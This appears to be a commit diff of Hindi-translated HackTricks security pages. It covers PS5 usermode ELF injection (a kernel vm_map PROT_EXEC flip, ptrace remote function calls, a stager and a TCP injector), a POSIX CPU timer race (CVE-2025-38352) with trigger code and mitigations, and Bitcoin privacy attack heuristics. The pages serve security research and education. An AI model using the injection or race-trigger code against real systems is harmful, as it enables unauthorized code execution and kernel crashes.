- Offset 0x58 PS5 firmware परिवार के लिए विशिष्ट है और इसे प्रत्येक संस्करण के अनुसार सत्यापित किया जाना चाहिए।
- इस write के बाद, injector ptrace/mdbg के माध्यम से user processes को attach और instrument कर सकता है।
## RW-only user mappings को बाइपास करना: vm_map PROT_EXEC flip
Userland mmap संभवतः PROT_READ|PROT_WRITE तक सीमित हो सकता है। FreeBSD एक प्रक्रिया के address space को vm_map में vm_map_entry नोड्स (BST plus list) के रूप में ट्रैक करता है। प्रत्येक एंट्री में protection और max_protection फील्ड होते हैं:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
कर्नेल R/W के साथ आप target का vm_map ढूँढकर entry->protection |= PROT_EXEC सेट कर सकते हैं (और जरूरत होने पर entry->max_protection)। व्यावहारिक इम्प्लीमेंटेशन नोट्स:
- एंट्रीज़ को या तो next के जरिए रैखिक रूप से चलाएँ या address range से O(log n) खोज के लिए balanced-tree (left/right) का उपयोग करें।
- अपने नियंत्रण में एक ज्ञात RW region चुनें (scratch buffer या mapped file) और PROT_EXEC जोड़ें ताकि आप कोड या loader thunks स्टेज कर सकें।
- PS5 SDK code तेज़ map-entry lookup और protections toggle करने वाले helpers प्रदान करता है।
यह सीधे कर्नेल-स्वामित्व वाली मेटाडेटा को संपादित करके userland की mmap नीति को बायपास करता है।
## Remote Function Invocation (RFI) के साथ ptrace
FreeBSD में Windows-style VirtualAllocEx/CreateRemoteThread मौजूद नहीं है। इसके बजाय, ptrace नियंत्रण में लक्ष्य को खुद ही functions कॉल करवाएँ:
1. Target से attach करें और एक thread चुनें; PTRACE_ATTACH या PS5-specific mdbg flows लागू हो सकते हैं।
2. थ्रेड context सुरक्षित करें: registers, PC, SP, flags।
3. ABI (x86_64 SysV या arm64 AAPCS64) के अनुसार argument registers लिखें, PC को target function पर सेट करें, और आवश्यकता के अनुसार अतिरिक्त args/stack रखें।
4. Single-step करें या controlled stop (उदा., software breakpoint या signal) तक continue रखें, फिर regs से return values पढ़ें।
5. मूल context बहाल करें और continue करें।
Use cases:
- एक इन-प्रोसेस ELF loader (उदा., elfldr_load) को कॉल करें, जिसमें target memory में आपके ELF image का pointer दिया गया हो।
- वापसी किए गए entrypoints और payload-args pointers लाने के लिए helper routines को invoke करें।
Example of driving the ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
The loader segments को map करता है, imports को resolve करता है, relocations लागू करता है और entry (अक्सर एक CRT bootstrap) के साथ-साथ एक opaque payload_args pointer वापस करता है जिसे आपका stager payload के main() को पास करता है।
## Threaded stager और clean detach
Target के अंदर एक न्यूनतम stager एक नया pthread बनाता है जो ELF के main को चलाता है और फिर injector को detach करने का signal भेजने के लिए int3 को trigger करता है:
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- SCEFunctions/payload_args pointers loader/SDK glue द्वारा प्रदान किए जाते हैं।
- breakpoint और detach के बाद, payload अपने स्वयं के thread में जारी रहता है।
## एंड-टू-एंड पाइपलाइन (PS5 संदर्भ कार्यान्वयन)
A working implementation ships as a small TCP injector server plus a client script:
- NineS server TCP 9033 पर सुनता है और एक header प्राप्त करता है जिसमें target process name और उसके बाद ELF image होता है:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Python क्लाइंट का उपयोग:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Hello-world payload उदाहरण (logs to klog):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## व्यावहारिक विचार
- ऑफ़सेट्स और कॉन्स्टेंट्स (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) फर्मवेयर-विशिष्ट होते हैं और प्रत्येक रिलीज़ के लिए अपडेट किए जाने चाहिए।
- Hypervisor सुरक्षा केवल डेटा-लेखन वाले कर्नेल writes को बाध्य करती है; CR0.WP या CR4.SMEP को patch करने का प्रयास न करें।
- JIT मेमोरी एक विकल्प है: कुछ processes executable पेज़ अलोकेट करने के लिए PS5 JIT APIs एक्सपोज़ करते हैं। vm_map protection flip JIT/mirroring ट्रिक्स पर निर्भर होने की आवश्यकता को हटा देता है।
- रजिस्टर को सुरक्षित करने और पुनर्स्थापित करने की प्रक्रिया मजबूत रखें; विफलता पर लक्ष्य deadlock या crash हो सकता है।
## सार्वजनिक टूलिंग
- PS5 SDK (डायनामिक लिंकिंग, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## References
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
यह पृष्ठ Linux/Android POSIX CPU timers में एक TOCTOU race condition का दस्तावेज़ीकरण करता है जो timer state को भ्रष्ट कर सकता है और kernel को crash कर सकता है, और कुछ परिस्थितियों में इसे privilege escalation की ओर मोड़ा जा सकता है।
यह पृष्ठ Linux/Android POSIX CPU timers में मौजूद एक TOCTOU race condition का दस्तावेज़ है, जो timer state को भ्रष्ट कर सकता है और kernel को crash करवा सकता है, और कुछ परिस्थितियों में इसे privilege escalation की ओर मोड़ा जा सकता है।
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
- प्रभावित घटक: kernel/time/posix-cpu-timers.c
- Primitive: task exit के दौरान expiry vs deletion race
- कॉन्फ़िग संवेदनशील: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
संक्षिप्त इंटर्नल रीकैप (exploitation के लिए प्रासंगिक)
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
त्वरित आंतरिक पुनरावलोकन (exploitation के लिए प्रासंगिक)
- तीन CPU clocks cpu_clock_sample() के माध्यम से timers के लिए accounting संचालित करते हैं:
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: केवल utime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer creation एक timer को task/pid से जोड़ता है और timerqueue nodes को इनिशियलाइज़ करता है:
- Timer creation एक timer को task/pid से जोड़ती है और timerqueue nodes को initialize करती है:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
@ -27,7 +27,7 @@ rcu_read_unlock();
return 0;
}
```
- Arming per-base timerqueue में insert करता है और संभवतः next-expiry cache को अपडेट कर सकता है:
Arming per-base timerqueue में insert करता है और next-expiry cache को अपडेट कर सकता है:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- तेज़ पथ महंगी प्रोसेसिंग से बचता है जब तक कैश किए गए समाप्ति रिकॉर्ड संभावित सक्रियण का संकेत न दें:
- Fast path महंगी प्रोसेसिंग से बचता है जब तक कि कैश्ड समाप्ति समय संभावित ट्रिगर का संकेत न दें:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
@ -50,7 +50,7 @@ return true;
return false;
}
```
- Expiration समाप्त हुए टाइमरों को इकट्ठा करता है, उन्हें firing के रूप में चिह्नित करता है, उन्हें queue से हटा देता है; वास्तविक delivery स्थगित कर दी जाती है:
- Expiration expired timers को इकट्ठा करता है, उन्हें firing के रूप में चिह्नित करता है, उन्हें queue से हटा देता है; वास्तविक delivery स्थगित कर दी जाती है:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
@ -68,9 +68,8 @@ list_add_tail(&ctmr->elist, firing);
return U64_MAX;
}
```
दो समाप्ति-प्रोसेसिंग मोड
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: समाप्ति लक्षित task पर task_work के माध्यम से स्थगित की जाती है
दो समाप्ति-प्रसंस्करण मोड
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: समाप्ति लक्षित टास्क पर task_work के माध्यम से स्थगित कर दी जाती है
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: समाप्ति सीधे IRQ context में संभाली जाती है
```c
void run_posix_cpu_timers(void) {
@ -91,7 +90,7 @@ lockdep_posixtimer_exit();
}
#endif
```
IRQ-context path में, firing list को sighand के बाहर प्रोसेस किया जाता है।
IRQ-context path में, firing list को sighand के बाहर संसाधित किया जाता है।
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
@ -115,45 +114,44 @@ spin_unlock(&timer->it_lock);
}
}
```
मूल कारण: IRQ-समय की समाप्ति और task exit के दौरान समवर्ती deletion के बीच TOCTOU
Root cause: TOCTOU between IRQ-time समाप्ति और task exit के दौरान समकालिक deletion
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- लक्षित task exiting है पर पूरी तरह reaped नहीं हुआ है
- एक अन्य थ्रेड समान timer के लिए समानांतर में posix_cpu_timer_del() को कॉल करता है
पूर्वशर्तें
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK अक्षम है (IRQ path in use)
- लक्षित task exit कर रहा है लेकिन पूरी तरह reaped नहीं हुआ
- एक अन्य थ्रेड एक ही timer के लिए समवर्ती रूप से posix_cpu_timer_del() कॉल कर रहा है
क्रम
Sequence
1) update_process_times() exiting task के लिए IRQ context में run_posix_cpu_timers() को ट्रिगर करता है।
2) collect_timerqueue() ctmr->firing = 1 सेट करता है और timer को अस्थायी firing सूची में स्थानांतरित करता है।
3) handle_posix_cpu_timers() timers को lock के बाहर deliver करने के लिए unlock_task_sighand() के माध्यम से sighand को drop करता है।
4) unlock के तुरंत बाद exiting task reaped हो सकता है; एक sibling thread posix_cpu_timer_del() चलाता है।
5) इस विंडो में, posix_cpu_timer_del() cpu_timer_task_rcu()/lock_task_sighand() के माध्यम से state हासिल करने में विफल हो सकता है और इसलिए सामान्य in-flight guard जो timer->it.cpu.firing को जांचता है, छोड़ सकता है। Deletion ऐसे ही आगे बढ़ती है जैसे यह firing नहीं हो रही हो, expiry को संभालते समय state भ्रष्ट हो जाती है, जिससे crashes/UB होते हैं।
4) unlock के तुरंत बाद, exiting task को reaped किया जा सकता है; एक सिबलिंग थ्रेड posix_cpu_timer_del() चलाता है।
5) इस विंडो में, posix_cpu_timer_del() cpu_timer_task_rcu()/lock_task_sighand() के माध्यम से state प्राप्त करने में विफल हो सकता है और इसलिए सामान्य in-flight guard जिसे timer->it.cpu.firing जांचता है, उसे छोड़ देता है। Deletion ऐसे चलता है जैसे कि यह firing नहीं है, expiry संभाले जाने के दौरान state को भ्रष्ट कर देता है, जिससे crashes/UB होते हैं।
क्यों TASK_WORK mode डिज़ाइन के अनुसार सुरक्षित है
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y होने पर, expiry को task_work में स्थगित कर दिया जाता है; exit_task_work exit_notify से पहले चलता है, इसलिए IRQ-समय और reaping का overlap नहीं होता।
- इसके बावजूद, यदि task पहले से ही exiting स्थिति में है, तो task_work_add() विफल हो जाता है; exit_state पर gating दोनों modes को सुसंगत बनाता है।
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry को task_work पर स्थगित किया जाता है; exit_task_work exit_notify से पहले चलता है, इसलिए IRQ-time और reaping का ओवरलैप नहीं होता।
- फिर भी, यदि task पहले से ही exiting है, तो task_work_add() विफल हो जाता है; exit_state पर gating दोनों मोड्स को सुसंगत बनाता है।
Fix (Android common kernel) और तर्क
- current task exiting है तो early return जोड़ें, जिससे सभी processing gated हो जाएं:
Fix (Android common kernel) and rationale
- यदि current task exiting है तो एक early return जोड़ें, जो सभी प्रोसेसिंग को गेट करे:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- यह exit हो रहे टास्क्स के लिए handle_posix_cpu_timers() में प्रवेश को रोकता है, उस विंडो को समाप्त करता है जहाँ posix_cpu_timer_del() it.cpu.firing को मिस कर सकता है और expiry processing के साथ race कर सकता है
- यह exiting tasks के लिए handle_posix_cpu_timers() में प्रवेश करने से रोकता है, और वह विंडो समाप्त कर देता है जहाँ posix_cpu_timer_del() it.cpu.firing को मिस कर सकता था और expiry processing के साथ race कर सकता था
प्रभाव
- concurrent expiry/deletion के दौरान timer structures का kernel memory corruption तुरंत crashes (DoS) पैदा कर सकता है और arbitrary kernel-state manipulation के अवसरों के कारण privilege escalation के लिए एक मजबूत primitive बन सकता है।
Impact
- concurrent expiry/deletion के दौरान timer संरचनाओं की kernel memory corruption तत्काल crashes (DoS) पैदा कर सकती है और arbitrary kernel-state manipulation के अवसरों के कारण privilege escalation की ओर एक मजबूत primitive है।
बग को ट्रिगर करना (सुरक्षित, पुनरुत्पादन योग्य स्थितियाँ)
Triggering the bug (safe, reproducible conditions)
Build/config
- सुनिश्चित करें CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n और exit_state gating fix के बिना kernel का उपयोग करें
- सुनिश्चित करें CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n और ऐसा kernel उपयोग करें जिस पर exit_state gating fix लागू न हो
रनटाइम रणनीति
- ऐसे thread को लक्षित करें जो exit होने वाला हो और उस पर एक CPU timer attach करें (per-thread या process-wide clock):
- per-thread के लिए: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- process-wide के लिए: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- बहुत छोटी initial expiration और छोटे interval के साथ arm करें ताकि IRQ-path entries को अधिकतम किया जा सके:
Runtime strategy
- निकास होने वाली किसी thread को लक्षित करें और उस पर एक CPU timer अटैच करें (per-thread या process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- बहुत छोटा initial expiration और छोटा interval सेट करें ताकि IRQ-path entries अधिकतम हों:
```c
static timer_t t;
static void setup_cpu_timer(void) {
@ -167,17 +165,17 @@ its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- एक sibling thread से, target thread के exit होते समय उसी timer को समकालिक रूप से delete करें:
- एक sibling thread से, target thread के exit होने के दौरान समानांतर रूप से उसी timer को delete करें:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Race amplifiers: उच्च scheduler tick दर, CPU लोड, बार-बार thread exit/re-create cycles। क्रैश आमतौर पर तब प्रकट होता है जब posix_cpu_timer_del() firing को नोटिस करना छोड़ देता है क्योंकि unlock_task_sighand() के ठीक बाद task lookup/locking असफल हो जाता है।
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().
Detection and hardening
- Mitigation: exit_state guard लागू करें; जब संभव हो तो CONFIG_POSIX_CPU_TIMERS_TASK_WORK सक्षम करना प्राथमिकता दें।
- Observability: unlock_task_sighand()/posix_cpu_timer_del() के आसपास tracepoints/WARN_ONCE जोड़ें; जब it.cpu.firing==1 देखा जाए और साथ ही cpu_timer_task_rcu()/lock_task_sighand() विफल हों तो अलर्ट करें; task exit के आसपास timerqueue असंगतियों पर नज़र रखें।
- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
- Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
@ -189,9 +187,9 @@ Audit hotspots (for reviewers)
Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
## References
## संदर्भ
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,101 +1,101 @@
# ब्लॉकचेन और क्रिप्टो-करेंस
# ब्लॉकचेन और क्रिप्टो-करेंसियाँ
{{#include ../../banners/hacktricks-training.md}}
## बुनियादी अवधारणाएँ
- **Smart Contracts** ऐसे प्रोग्राम होते हैं जो ब्लॉकचेन पर कुछ शर्तें पूरी होने पर चलते हैं, और मध्यस्थों के बिना समझौतों के निष्पादन को स्वचालित करते हैं।
- **Decentralized Applications (dApps)** Smart Contracts पर आधारित होते हैं, जिनमें उपयोगकर्ता-अनुकूल फ्रंट-एंड और पारदर्शी, ऑडिटेबल बैक-एंड होता है।
- **Tokens & Coins** का अंतर यह है कि coins डिजिटल पैसा के रूप में कार्य करते हैं, जबकि tokens विशिष्ट संदर्भों में मूल्य या स्वामित्व का प्रतिनिधित्व करते हैं।
- **Utility Tokens** सेवाओं तक पहुंच देते हैं, और **Security Tokens** संपत्ति के स्वामित्व का संकेत देते हैं।
- **DeFi** का अर्थ Decentralized Finance है, जो केंद्रीय प्राधिकरणों के बिना वित्तीय सेवाएँ प्रदान करता है।
- **Smart Contracts** उन प्रोग्रामों को कहते हैं जो ब्लॉकचेन पर तब चलेंगे जब कुछ शर्तें पूरी हों, और वे मध्यस्थों के बिना समझौतों को स्वचालित रूप से लागू करते हैं।
- **Decentralized Applications (dApps)** Smart Contracts के ऊपर बने होते हैं, जिनमें एक user-friendly front-end और एक पारदर्शी, auditable back-end होता है।
- **Tokens & Coins** में अंतर यह है कि coins डिजिटल पैसे के रूप में काम करते हैं, जबकि tokens किसी विशेष संदर्भ में मूल्य या स्वामित्व का प्रतिनिधित्व करते हैं।
- **Utility Tokens** सेवाओं तक पहुंच प्रदान करते हैं, और **Security Tokens** संपत्ति के स्वामित्व का संकेत देते हैं।
- **DeFi** का मतलब Decentralized Finance है, जो केंद्रीय प्राधिकरणों के बिना वित्तीय सेवाएँ प्रदान करता है।
- **DEX** और **DAOs** क्रमशः Decentralized Exchange Platforms और Decentralized Autonomous Organizations को संदर्भित करते हैं।
## सहमति तंत्र
## समन्वय (Consensus) तंत्र
सहमति तंत्र ब्लॉकचेन पर लेन-देन के सत्यापन को सुरक्षित और सहमति आधारित बनाते हैं:
Consensus तंत्र ब्लॉकचेन पर सुरक्षित और सहमति द्वारा लेनदेन सत्यापन सुनिश्चित करते हैं:
- **Proof of Work (PoW)** लेन-देन सत्यापन के लिए कम्प्यूटेशनल पावर पर निर्भर करता है।
- **Proof of Stake (PoS)** validators से कुछ मात्रा में tokens रखने की मांग करता है, जो PoW की तुलना में ऊर्जा खपत कम करता है।
- **Proof of Work (PoW)** लेनदेन सत्यापन के लिए कम्प्यूटेशनल पावर पर निर्भर करता है।
- **Proof of Stake (PoS)** में validators को एक निश्चित मात्रा में tokens रखना पड़ता है, जो PoW की तुलना में ऊर्जा खपत कम करता है।
## Bitcoin मूल बातें
## Bitcoin आवश्यक बातें
### लेन-देन
### लेनदेन
Bitcoin लेन-देन पतों के बीच धन स्थानांतरित करने को शामिल करते हैं। लेन-देन डिजिटल हस्ताक्षरों के माध्यम से सत्यापित होते हैं, जो सुनिश्चित करते हैं कि केवल प्राइवेट की का मालिक ही ट्रांसफर आरंभ कर सकता है।
Bitcoin के लेनदेन में पते के बीच धन का स्थानांतरण शामिल है। लेनदेन डिजिटल सिग्नेचर के माध्यम से मान्य किए जाते हैं, जिससे यह सुनिश्चित होता है कि केवल private key का मालिक ही ट्रांसफर आरंभ कर सकता है।
#### मुख्य घटक:
#### प्रमुख घटक:
- **Multisignature Transactions** में एक लेन-देन को अधिकृत करने के लिए कई हस्ताक्षरों की आवश्यकता होती है।
- लेन-देन में **inputs** (धन का स्रोत), **outputs** (गंतव्य), **fees** (miners को दिए जाने वाले), और **scripts** (लेन-देन के नियम) शामिल होते हैं।
- **Multisignature Transactions** में लेनदेन को अधिकृत करने के लिए कई सिग्नेचर की आवश्यकता होती है।
- लेनदेन में **inputs** (फंड का स्रोत), **outputs** (गंतव्य), **fees** (miners को भुगतान) और **scripts** (लेनदेन नियम) शामिल होते हैं।
### Lightning Network
यह चैनल के भीतर कई लेन-देन की अनुमति देकर Bitcoin की स्केलेबिलिटी बढ़ाने का लक्ष्य रखता है, और केवल अंतिम स्थिति को ही ब्लॉकचेन पर प्रसारित कता है।
Bitcoin की स्केलेबिलिटी बढ़ाने का उद्देश्य रखता है, जिससे एक चैनल के भीतर कई लेनदेन संभव होते हैं और केवल अंतिम स्थिति को ब्लॉकचेन पर प्रसारित किया जाता है।
## Bitcoin गोपनीयता चिंताएँ
गोपनीयता हमले, जैसे **Common Input Ownership** और **UTXO Change Address Detection**, लेन-देन पैटर्न का शोषण करते हैं। **Mixers** और **CoinJoin** जैसी रणनीतियाँ उपयोगकर्ताओं के बीच लेन-देन लिंक छिपाकर अनामिता बढ़ाती हैं।
गोपनीयता हमले, जैसे **Common Input Ownership** और **UTXO Change Address Detection**, लेनदेन पैटर्न का शोषण करते हैं। **Mixers** और **CoinJoin** जैसी रणनीतियाँ लेनदेन लिंक को अस्पष्ट बनाकर anonymity में सुधार करती हैं।
## Bitcoins को अनाम तरीके से प्राप्त करना
## Bitcoins को अनाम रूप से प्राप्त करना
विधियों में कैश ट्रेड, mining, और mixers का उपयोग शामिल है। **CoinJoin** कई लेन-देन मिक्स करता है ताकि ट्रेसबिलिटी जटिल हो जाए, जबकि **PayJoin** CoinJoins को नियमित लेन-देन के रूप में छिपाकर गोपनीयता बढ़ाता है।
विधियों में नकद ट्रेड, mining, और mixers का उपयोग शामिल है। **CoinJoin** कई लेनदेन मिलाकर ट्रेसबिलिटी को जटिल बनाता है, जबकि **PayJoin** बढ़ी हुई गोपनीयता के लिए CoinJoins को सामान्य लेनदेन के रूप में छुपा देता है।
# Bitcoin गोपनीयता हमले
# Bitcoin Privacy Atacks
# Bitcoin गोपनीयता हमलों का सारांश
# Summary of Bitcoin Privacy Attacks
Bitcoin की दुनिया में, लेन-देन की गोपनीयता और उपयोगकर्ताओं की अनामिता अक्सर चिंता का विषय होती है। यहाँ कुछ सामान्य तरीकों का संक्षिप्त परिचय है जिनके माध्यम से हमलावर Bitcoin की गोपनीयता को नुकसान पहुँचा सकते हैं।
Bitcoin की दुनिया में, लेनदेन की गोपनीयता और उपयोगकर्ताओं की anonymity अक्सर चिंता का विषय होते हैं। यहाँ कुछ सामान्य तरीकों का सरलीकृत अवलोकन दिया गया है जिनके माध्यम से आक्रमणकारी Bitcoin गोपनीयता को compromise कर सकते हैं।
## **Common Input Ownership Assumption**
विभिन्न उपयोगकर्ताओं के inputs को एक ही लेन-देन में मिलाना आमतौर पर जटिलता के कारण दुर्लभ होता है। इसलिए, एक ही लेन-देन में मौजूद **दो input addresses अक्सर एक ही मालिक के होने का अनुमान लगाया जाता है**।
अक्सर अलग-अलग उपयोगकर्ताओं के inputs को एक ही लेनदेन में मिलाने की प्रवृत्ति कम होती है क्योंकि यह जटिल होता है। इसलिए, **एक ही लेनदेन में दो input पते अक्सर एक ही मालिक के होने का अनुमान लगाया जाता है**।
## **UTXO Change Address Detection**
एक UTXO, या **Unspent Transaction Output**, को लेन-देन में पूरी तरह खर्च किया जाना चाहिए। यदि केवल इसका एक हिस्सा किसी अन्य पते पर भेजा जाता है, तो शेष नया change address में जाता है। पर्यवेक्षक यह मान सकते हैं कि यह नया पता sender का है, जिससे गोपनीयता प्रभावित होती है।
एक UTXO, या **Unspent Transaction Output**, को लेनदेन में पूरी तरह खर्च किया जाना चाहिए। यदि इसका केवल एक हिस्सा किसी अन्य पते को भेजा जाता है, तो शेष नया change address को भेज दिया जाता है। निगरानी करने वाले यह अनुमान लगा सकते हैं कि यह नया पता sender का है, जिससे गोपनीयता प्रभावित होती है।
### उदाहरण
### Example
इसे कम करने के लिए, mixing services या कई पतों का उपयोग करने से स्वामित्व छिपाने में मदद मिल सकती है।
इसे कम करने के लिए, mixing सेवाओं का उपयोग या कई पतों का उपयोग ownership को अस्पष्ट करने में मदद कर सकता है।
## **Social Networks & Forums Exposure**
उपयोगकर्ता कभी-कभी अपने Bitcoin addresses ऑनलाइन साझा करते हैं, जिससे यह **आसान हो जाता है कि पते को उसके मालिक से जोड़ा जाए**
उपयोगकर्ता कभी-कभी अपने Bitcoin पते ऑनलाइन साझा करते हैं, जिससे पता को उसके मालिक से जोड़ना **आसान** हो जाता है
## **Transaction Graph Analysis**
लेन-देन को ग्राफ के रूप में विजुअलाइज़ किया जा सकता है, जो फंड के प्रवाह के आधार पर उपयोगकर्ताओं के बीच संभावित संबंध प्रकट करते हैं
लेनदेन को ग्राफ के रूप में विजुअलाइज़ किया जा सकता है, जो धन के प्रवाह के आधार पर उपयोगकर्ताओं के बीच संभावित कनेक्शनों का खुलासा करता है
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
यह heuristic कई inputs और outputs वाले लेन-देन का विश्लेषण करके अनुमान लगाने पर आधारित है कि कौन सा output sender को लौटने वाला change है।
यह heuristic उन लेनदेन का विश्लेषण करके काम करता है जिनमें कई inputs और outputs होते हैं, ताकि यह अनुमान लगाया जा सके कि कौन सा output sender को लौटा हुआ change है।
### उदाहरण
### Example
```bash
2 btc --> 4 btc
3 btc 1 btc
```
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
यदि अधिक इनपुट जोड़ने से चेंज आउटपुट किसी भी एकल इनपुट से बड़ा हो जाता है, तो यह ह्यूरिस्टिक को भ्रमित कर सकता है।
## **Forced Address Reuse**
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### सही वॉलेट व्यवहार
### Correct Wallet Behavior
वॉलेट्स को इस privacy leak को रोकने के लिए पहले से उपयोग किए जा चुके, खाली पतों पर प्राप्त सिक्कों का उपयोग करने से बचना चाहिए।
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **Other Blockchain Analysis Techniques**
- **Exact Payment Amounts:** चेंज के बिना लेनदेन संभवतः एक ही उपयोगकर्ता के स्वामित्व वाले दो पतों के बीच होते हैं।
- **Round Numbers:** किसी लेनदेन में गोल संख्या होने पर यह भुगतान संकेत देता है, और गैर-गोल आउटपुट संभवतः चेंज होता है।
- **Wallet Fingerprinting:** विभिन्न वॉलेट्स के लेनदेन बनाने के अद्वितीय पैटर्न होते हैं, जिससे विश्लेषक प्रयुक्त सॉफ़्टवेयर और संभावित चेंज पता पहचान सकते हैं।
- **Amount & Timing Correlations:** लेनदेन के समय या राशियों का खुलासा लेनदेन को ट्रेस करने योग्य बना सकता है
- **Exact Payment Amounts:** बिना चेंज के लेनदेन संभवतः उसी उपयोगकर्ता के मालिकाना हक वाले दो पतों के बीच होते हैं।
- **Round Numbers:** लेनदेन में गोल संख्या यह संकेत देती है कि यह भुगतान है, और गैर-गोल आउटपुट अक्सर चेंज होता है।
- **Wallet Fingerprinting:** विभिन्न wallets की लेनदेन निर्माण पैटर्न अनोखी होती हैं, जिससे विश्लेषक उपयोग किए गए सॉफ़्टवेयर और सम्भवतः चेंज पता पहचान सकते हैं।
- **Amount & Timing Correlations:** लेनदेन का समय या राशि उजागर करने से लेनदेन ट्रेस करने योग्य हो सकते हैं
## **Traffic Analysis**
